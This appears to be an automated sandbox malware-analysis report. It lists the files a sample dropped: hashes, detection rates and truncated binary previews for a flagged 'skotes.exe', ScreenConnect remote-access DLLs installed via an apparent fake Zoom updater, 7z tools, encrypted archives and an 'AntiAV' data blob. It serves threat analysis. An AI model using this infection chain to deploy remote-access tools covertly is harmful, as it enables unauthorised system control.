SHA-512:	518231213CA955ACDF37B4501FDE9C5B15806D4FC166950EB8706E8D3943947CF85324FAEE806D7DF828485597ECEFFCFA05CA1A5D8AB1BD51ED12DF963A1FE4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........S.c.2.0.2.0.2.0..\|0.2.0..H0.2.0.Jq0.2.0.2.0.2.0..I0.2.0..y0.2.0..x0.2.0...0.2.0Rich.2.0................PE..L...9..P...........!.........H.......i.......................................p............@..............................*..l...x....@.......................P..d.......................................@...............h............................text............................... ..`.rdata..............................@..@.data....-..........................@....rsrc........@......................@..@.reloc.......P......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSIBAE7.tmp-\CustomAction.config

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	234
Entropy (8bit):	4.977464602412109
Encrypted:	false
SSDEEP:	6:JiMVBdTMkIffVymRMT4/0xC/C7VrfC7VNQpuAW4QIT:MMHd413VymhsS+Qg93xT
MD5:	6F52EBEA639FD7CEFCA18D9E5272463E
SHA1:	B5E8387C2EB20DD37DF8F4A3B9B0E875FA5415E3
SHA-256:	7027B69AB6EBC9F3F7D2F6C800793FDE2A057B76010D8CFD831CF440371B2B23
SHA-512:	B5960066430ED40383D39365EADB3688CADADFECA382404924024C908E32C670AFABD37AB41FF9E6AC97491A5EB8B55367D7199002BF8569CF545434AB2F271A
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8" ?>..<configuration>.. <startup useLegacyV2RuntimeActivationPolicy="true">.. <supportedRuntime version="v4.0" />.. <supportedRuntime version="v2.0.50727" />.. </startup>..</configuration>

C:\Users\user\AppData\Local\Temp\MSIBAE7.tmp-\Microsoft.Deployment.Compression.Cab.dll

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	4.62694170304723
Encrypted:	false
SSDEEP:	768:sqbC2wmdVdX9Y6BCH+C/FEQl2ifnxwr02Gy/G4Xux+bgHGvLw4:sAtXPC/Cifnxs02Gyu4Xu0MeR
MD5:	77BE59B3DDEF06F08CAA53F0911608A5
SHA1:	A3B20667C714E88CC11E845975CD6A3D6410E700
SHA-256:	9D32032109FFC217B7DC49390BD01A067A49883843459356EBFB4D29BA696BF8
SHA-512:	C718C1AFA95146B89FC5674574F41D994537AF21A388335A38606AEC24D6A222CBCE3E6D971DFE04D86398E607815DF63A54DA2BB96CCF80B4F52072347E1CE6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....F.Y.........." ..0...... ........... ........... ...............................$....@....................................O.................................................................................... ............... ..H............text... .... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSIBAE7.tmp-\Microsoft.Deployment.Compression.dll

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	4.340550904466943
Encrypted:	false
SSDEEP:	384:GqJxldkxhW9N5u8IALLU0X9Z1kTOPJlqE:GqJxl6xsPIA9COxlqE
MD5:	4717BCC62EB45D12FFBED3A35BA20E25
SHA1:	DA6324A2965C93B70FC9783A44F869A934A9CAF7
SHA-256:	E04DE7988A2A39931831977FA22D2A4C39CF3F70211B77B618CAE9243170F1A7
SHA-512:	BB0ABC59104435171E27830E094EAE6781D2826ED2FC9009C8779D2CA9399E38EDB1EC6A10C1676A5AF0F7CACFB3F39AC2B45E61BE2C6A8FE0EDB1AF63A739CA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....F.Y.........." ..0..`... .......~... ........... ....................................@.................................X~..O................................... }............................................... ............... ..H............text....^... ...`.................. ..`.rsrc................p..............@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSIBAE7.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	4.657268358041957
Encrypted:	false
SSDEEP:	768:BLNru62y+VqB4N5SBcDhDxW7ZkCmX2Qv1Sf0AQdleSBRxf+xUI3:BJ2yUGmh2O11AsleyRxf+xt
MD5:	A921A2B83B98F02D003D9139FA6BA3D8
SHA1:	33D67E11AD96F148FD1BFD4497B4A764D6365867
SHA-256:	548C551F6EBC5D829158A1E9AD1948D301D7C921906C3D8D6B6D69925FC624A1
SHA-512:	E1D7556DAF571C009FE52D6FFE3D6B79923DAEEA39D754DDF6BEAFA85D7A61F3DB42DFC24D4667E35C4593F4ED6266F4099B393EFA426FA29A72108A0EAEDD3E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....F.Y.........." ..0...... ........... ........... ....................... .......t....@.....................................O...................................`................................................ ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSIBAE7.tmp-\Microsoft.Deployment.WindowsInstaller.dll

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	176128
Entropy (8bit):	5.775360792482692
Encrypted:	false
SSDEEP:	3072:FkfZS7FUguxN+77b1W5GR69UgoCaf8TpCnfKlRUjW01Ky4:x+c7b1W4R6joxfQE
MD5:	5EF88919012E4A3D8A1E2955DC8C8D81
SHA1:	C0CFB830B8F1D990E3836E0BCC786E7972C9ED62
SHA-256:	3E54286E348EBD3D70EAED8174CCA500455C3E098CDD1FCCB167BC43D93DB29D
SHA-512:	4544565B7D69761F9B4532CC85E7C654E591B2264EB8DA28E60A058151030B53A99D1B2833F11BFC8ACC837EECC44A7D0DBD8BC7AF97FC0E0F4938C43F9C2684
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....F.Y.........." ..0...... ......~.... ........... ..............................!\|....@.................................,...O.................................................................................... ............... ..H............text....w... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSIBAE7.tmp-\ScreenConnect.Core.dll

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	548864
Entropy (8bit):	6.034211651049746
Encrypted:	false
SSDEEP:	12288:xC2YKhQCNc6kVTplfWL/YTHUYCBdySISYz:HhE6O7WL/EC
MD5:	14E7489FFEBBB5A2EA500F796D881AD9
SHA1:	0323EE0E1FAA4AA0E33FB6C6147290AA71637EBD
SHA-256:	A2E9752DE49D18E885CBD61B29905983D44B4BC0379A244BFABDAA3188C01F0A
SHA-512:	2110113240B7D803D8271139E0A2439DBC86AE8719ECD8B132BBDA2520F22DC3F169598C8E966AC9C0A40E617219CB8FE8AAC674904F6A1AE92D4AC1E20627CD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l............." ..0..X...........s... ........... ..............................].....@.................................as..O.......t............................r..8............................................ ............... ..H............text....W... ...X.................. ..`.rsrc...t............Z..............@..@.reloc...............^..............@..B.................s......H........C..,/..................Dr........................................{:.....{;...V.(<.....}:.....};......0..A........u~.......4.,/(=....{:....{:...o>...,.(?....{;....{;...o@...... ... )UU.Z(=....{:...oA...X )UU.Z(?....{;...oB...X...0..b........r...p......%..{:......%q.........-.&.+.......oC....%..{;......%q.........-.&.+.......oC....(D.....{E.....{F...V.(<.....}E.....}F....0..A........u........4.,/(=....{E....{E...o>...,.(?....{F....{F...o@...... F.b# )UU.

C:\Users\user\AppData\Local\Temp\MSIBAE7.tmp-\ScreenConnect.InstallerActions.dll

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.273875899788767
Encrypted:	false
SSDEEP:	192:V8/Qp6lCJuV3jHXtyVNamVNG1YZfCrMmbfHJ7kjvLjbuLd9NEFbM64:y/cBJaLXt2NaheUrMmb/FkjvLjbuZj64
MD5:	73A24164D8408254B77F3A2C57A22AB4
SHA1:	EA0215721F66A93D67019D11C4E588A547CC2AD6
SHA-256:	D727A640723D192AA3ECE213A173381682041CB28D8BD71781524DBAE3DDBF62
SHA-512:	650D4320D9246AAECD596AC8B540BF7612EC7A8F60ECAA6E9C27B547B751386222AB926D0C915698D0BB20556475DA507895981C072852804F0B42FDDA02B844
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..&...........E... ...`....... ..............................D9....@..................................D..O....`..............................$D..8............................................ ............... ..H............text...4%... ...&.................. ..`.rsrc........`.......(..............@..@.reloc...............,..............@..B.................E......H........'.......................C........................................(....^.(.......&...%...}....:.(......}....:.(......}....:.(......}........0..........s.......}.....s....}.....{....r...p(......,h.{....r...p......%...(.....rS..p.(....~....%-.&~..........s....%......(...+%-.&+.(...........s....(...+&.{....o....-!.{.....{.....{....rc..po....(.....{....o.........{.....{.....{....r}..po....(.....{....o....-..{....r...p......(......{....s .....-..o!.......{....r}..p.o

C:\Users\user\AppData\Local\Temp\MSIBAE7.tmp-\ScreenConnect.Windows.dll

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1721856
Entropy (8bit):	6.639085961200334
Encrypted:	false
SSDEEP:	24576:dx5xeYkYFj+Ifz3zvnXj/zXzvAAkGz8mvgtX79S+2bfh+RfmT01krTFiH4SqfKPo:dx5xTkYJkGYYpT0+TFiH7efP
MD5:	9AD3964BA3AD24C42C567E47F88C82B2
SHA1:	6B4B581FC4E3ECB91B24EC601DAA0594106BCC5D
SHA-256:	84A09ED81AFC5FF9A17F81763C044C82A2D9E26F852DE528112153EE9AB041D0
SHA-512:	CE557A89C0FE6DE59046116C1E262A36BBC3D561A91E44DCDA022BEF72CB75742C8B01BEDCC5B9B999E07D8DE1F94C665DD85D277E981B27B6BFEBEAF9E58097
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...y............." ..0..>..........~]... ...`....... ..............................8.....@.................................+]..O....`..\|............................\..8............................................ ............... ..H............text....=... ...>.................. ..`.rsrc...\|....`.......@..............@..@.reloc...............D..............@..B................_]......H.......t...d..............0....\........................................()...^.()..........%...}....:.().....}....:.().....}....:.().....}......s.....s+...:.(,.....(-.....{...."..}....J.(/........(0...&:.(,.....(1.....{2..."..}2....0..(........(3......+.............(0...&..X....i2.v.(,....s4...}.....s5...}....v.{.....r...p(...+.....o7.....0...........o8....+..o9......(...+&.o....-....,..o................."........{..........o:...&.......(.........0..L...

C:\Users\user\AppData\Local\Temp\ScreenConnect\24.3.7.9067\9e47e837d725d609\ScreenConnect.ClientSetup.msi

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: Default, Author: ScreenConnect Software, Keywords: Default, Comments: Default, Template: Intel;1033, Revision Number: {0F0F3A06-836F-1282-FBD2-C84A34E3C174}, Create Time/Date: Mon Oct 28 17:43:52 2024, Last Saved Time/Date: Mon Oct 28 17:43:52 2024, Number of Pages: 200, Number of Words: 2, Name of Creating Application: Windows Installer XML Toolset (3.11.0.1701), Security: 2
Category:	dropped
Size (bytes):	13398016
Entropy (8bit):	7.966459541138759
Encrypted:	false
SSDEEP:	196608:OWh0cGwcWh0cGLWh0cGeWh0cGJWh0cGuWh0cG8Wh0cG:OWacWWaciWacRWaceWacHWacXWac
MD5:	1C6D80F5F4B47856E0E9E502AAFBF450
SHA1:	004CFB1E27B80646363D60DAEA30E9EFF35A6297
SHA-256:	39645266B47FAE6D0BAA88DEFBC6A426EB90B12C8C3F3B7B2AFB36BAE3EF8DAD
SHA-512:	E6DD96CB40057AEFBED7A75E23277D065415001BF4EAFFA07247D9D8DE431165D94F2C31C91BE14E6767FA0B1C654C5F158DB7FFE8B4001B6A091486B52ABFAF
Malicious:	false
Preview:	......................>.......................................................\|...h...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cvxqdjr2.q11.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gvdpuli1.auk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gxktqk2x.ffi.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xv5dkj2a.hki.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1915392
Entropy (8bit):	7.949972403992249
Encrypted:	false
SSDEEP:	49152:2MVLBaTAaVpMXzMdWZH86QzzrEfsUmoBlsf98MDz2e:2MV1naVp6wdKH8zzAsfoBPEz
MD5:	2FC42F0719A7156CB2C4EA3C999DE03C
SHA1:	3C200F0927AD1096D0FEA57D490C29BF2E54314B
SHA-256:	E0DD54E04F86E6A32D6E442E8267D7B67D838C9976DFF81BF8E2EC4F04D6BFAA
SHA-512:	D22D28729426E7BCFC426A4C86C5A1BF78A9F2AD1F5AD7FCB85BF55E1172D4A66907DEF69EEC40F6DD223737F9FB6F8EEACAFC2343C97C69D341BDB62DFEE2B5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@...........................L.....dk....@.................................W...k...........................@.K...............................K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..+.........................@...upegxhma. ....1.....................@...kkssyghm......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\main\7z.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1679360
Entropy (8bit):	6.278252955513617
Encrypted:	false
SSDEEP:	24576:S+clx4tCQJSVAFja8i/RwQQmzgO67V3bYgR+zypEqxr2VSlLP:jclmJSVARa86xzW3xRoyqqxrT
MD5:	72491C7B87A7C2DD350B727444F13BB4
SHA1:	1E9338D56DB7DED386878EAB7BB44B8934AB1BC7
SHA-256:	34AD9BB80FE8BF28171E671228EB5B64A55CAA388C31CB8C0DF77C0136735891
SHA-512:	583D0859D29145DFC48287C5A1B459E5DB4E939624BD549FF02C61EAE8A0F31FC96A509F3E146200CDD4C93B154123E5ADFBFE01F7D172DB33968155189B5511
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........w...$...$...$.&.$...$.&.$...$...$...$.&.$%..$.&.$..$.&G$...$.&.$...$.&.$...$.&.$...$Rich...$........................PE..d.....n\.........." .........H...............................................P............`.............................................y...l...x........{...p.......................................................................................................text............................... ..`.rdata..9...........................@..@.data...............................@....pdata.......p... ..................@..@.rsrc....{.......\|..................@..@.reloc...0.......2...n..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\7z.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	468992
Entropy (8bit):	6.157743912672224
Encrypted:	false
SSDEEP:	6144:fz1gL5pRTMTTjMkId/BynSx7dEe6XwzRaktNP08NhKs39zo43fTtl1fayCV7+DHV:r1gL5pRTcAkS/3hzN8qE43fm78V
MD5:	619F7135621B50FD1900FF24AADE1524
SHA1:	6C7EA8BBD435163AE3945CBEF30EF6B9872A4591
SHA-256:	344F076BB1211CB02ECA9E5ED2C0CE59BCF74CCBC749EC611538FA14ECB9AAD2
SHA-512:	2C7293C084D09BC2E3AE2D066DD7B331C810D9E2EECA8B236A8E87FDEB18E877B948747D3491FCAFF245816507685250BD35F984C67A43B29B0AE31ECB2BD628
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........(...{...{...{...{...{...{...{...{...{...{...{...{...{..!{...{...{...{...{...{Rich...{................PE..d.....n\.........."..........l...... .........@...........................................`.....................................................x....`..........,a...........p.......................................................... ............................text............................... ..`.rdata..............................@..@.data....,..........................@....pdata..,a.......b..................@..@.rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\KillDuplicate.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	222
Entropy (8bit):	4.855194602218789
Encrypted:	false
SSDEEP:	6:vFuj9HUHOPLtInnIgvRY77flFjfA+qpxuArS3+xTfVk3:duj9HeONgvRYnlfYFrSMTtk3
MD5:	68CECDF24AA2FD011ECE466F00EF8450
SHA1:	2F859046187E0D5286D0566FAC590B1836F6E1B7
SHA-256:	64929489DC8A0D66EA95113D4E676368EDB576EA85D23564D53346B21C202770
SHA-512:	471305140CF67ABAEC6927058853EF43C97BDCA763398263FB7932550D72D69B2A9668B286DF80B6B28E9DD1CBA1C44AAA436931F42CC57766EFF280FDB5477C
Malicious:	false
Preview:	Cd /d %1..Rd "%SfxVarApiPath%"..For /f "Tokens=1,2 Delims=," %%I In ('TaskList /fo CSV /nh') Do (.. If %%I==%2 (.. Set /a N+=1.. Set PID=%%~J.. )..)..If %N% EQU 1 Rd /s /q %1..If %N% GTR 1 TaskKill /pid %PID% /t /f

C:\Users\user\AppData\Local\Temp\main\extracted\AntiAV.data

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	2355713
Entropy (8bit):	5.891648193754473
Encrypted:	false
SSDEEP:	24576:5yZBPkpRrP9pxC+XvoflcYy36s3vb0EecYy37n92k8GtGAQZ67hR7krC/Cyf0/xO:R9kqGu7okoZscCnf0/Zs9p
MD5:	579A63BEBCCBACAB8F14132F9FC31B89
SHA1:	FCA8A51077D352741A9C1FF8A493064EF5052F27
SHA-256:	0AC3504D5FA0460CAE3C0FD9C4B628E1A65547A60563E6D1F006D17D5A6354B0
SHA-512:	4A58CA0F392187A483B9EF652B6E8B2E60D01DAA5D331549DF9F359D2C0A181E975CF9DF79552E3474B9D77F8E37A1CF23725F32D4CDBE4885E257A7625F7B1F
Malicious:	false
Preview:	KmO6sb9bzFlO6QmlyBR3cUuBrPdmJRJBhXshklfui2fRJCiITlYNEM2EqC9x9I0qVq7CGnIhkwh6hvGvu5pkfBRaoLATG90WNTmCTDFIBTSnd7l9KiCxIUJ5zlBvrKkHZaxyJb0N052Q1AaMDCASX2cw1ZaV1bKcufYPprTSqVIRscgIruKC2MOUPLxNBR1egyVxwSbedVhVl89lRxHAMRMf16G6Ry1TTz7dOtnEaLQowPwuw8eDnR20ZOyf9yYTVcpDsiS4K2VzryfyiwiOXZDq7UaTFrtOgtVQzuNXN74O8xkfvt4Ykzxcs60WfAkGZKsYbwZWS4bPPY8cze1vDL6leHmcDUIbsBvTleZtzGhgeYGdRaUmv5ljenoBZOBDIndh9KTa7zBVHuP4jAK8C2IKaB5BgFReYTleqD0cCkhTdxbkQAMwHPuKktcCRORGmFfE37OzhnpNUtRyIHoGBwau6RcKp6vTNwIWRMkDjZaejD2NS5TCgRvcwgZcldKIAtOqIN0TXMXlnX6scNgHltMTvvwSZbBsDdCGRINZlutVfbP6joQl5sw21ICykYYYKwRfLlfpREpOzuAjwo7oC8hJ4Tv652auJh1RujdaLcIfX5oB1GDuu95ojl52qB08Lzg7nIl7yDb4k9X8rUPZ857XTGTaXkhL77wwG75hAnvfazjbPfP5GZrDYRdhe2I0zSJZuV5aaWd5Imf8Ck0w9ALkKR7xhRlclC4FnJOBuXxpdcsG9gE8tgukaoXpzf4z0CHJ0VOfBNcErBEPyoWMZfee3Vfg2NyLVPvaC6c5HNC1mZSr0SpB1RAlj2w7ST9eZL5DUYwl8p6flt6I3p7MBJrZLlY3LgBSr5F4BYYU6sebHdx0ES2Ci6J9wBw0wGLCy8SeSDS45pkrvWvTZkvW2oFTNBda3aYJyut0zJi1Chjp4xQkH1cEMWZUOy7MueiWNcfeKZqM4Gg2hr7XoLoTQXyvcXvxeOwXoXJKXvu4

C:\Users\user\AppData\Local\Temp\main\extracted\file_1.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	1799594
Entropy (8bit):	7.99773141173711
Encrypted:	true
SSDEEP:	49152:8yj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJ+:tj13Trb6i5iGmuXZTbBizt0Jhc
MD5:	5659EBA6A774F9D5322F249AD989114A
SHA1:	4BFB12AA98A1DC2206BAA0AC611877B815810E4C
SHA-256:	E04346FEE15C3F98387A3641E0BBA2E555A5A9B0200E4B9256B1B77094069AE4
SHA-512:	F93ABF2787B1E06CE999A0CBC67DC787B791A58F9CE20AF5587B2060D663F26BE9F648D116D9CA279AF39299EA5D38E3C86271297E47C1438102CA28FCE8EDC4
Malicious:	false
Preview:	PK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y*.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu....(^......U.{.......l..RtFDi......./..t?......6FU....;2].@...z..8..K^B/W..

C:\Users\user\AppData\Local\Temp\main\extracted\file_2.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1799748
Entropy (8bit):	7.997729415613798
Encrypted:	true
SSDEEP:	49152:5yj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJ/:4j13Trb6i5iGmuXZTbBizt0Jhl
MD5:	5404286EC7853897B3BA00ADF824D6C1
SHA1:	39E543E08B34311B82F6E909E1E67E2F4AFEC551
SHA-256:	EC94A6666A3103BA6BE60B92E843075A2D7FE7D30FA41099C3F3B1E2A5EBA266
SHA-512:	C4B78298C42148D393FEEA6C3941C48DEF7C92EF0E6BAAC99144B083937D0A80D3C15BD9A0BF40DAA60919968B120D62999FA61AF320E507F7E99FBFE9B9EF30
Malicious:	false
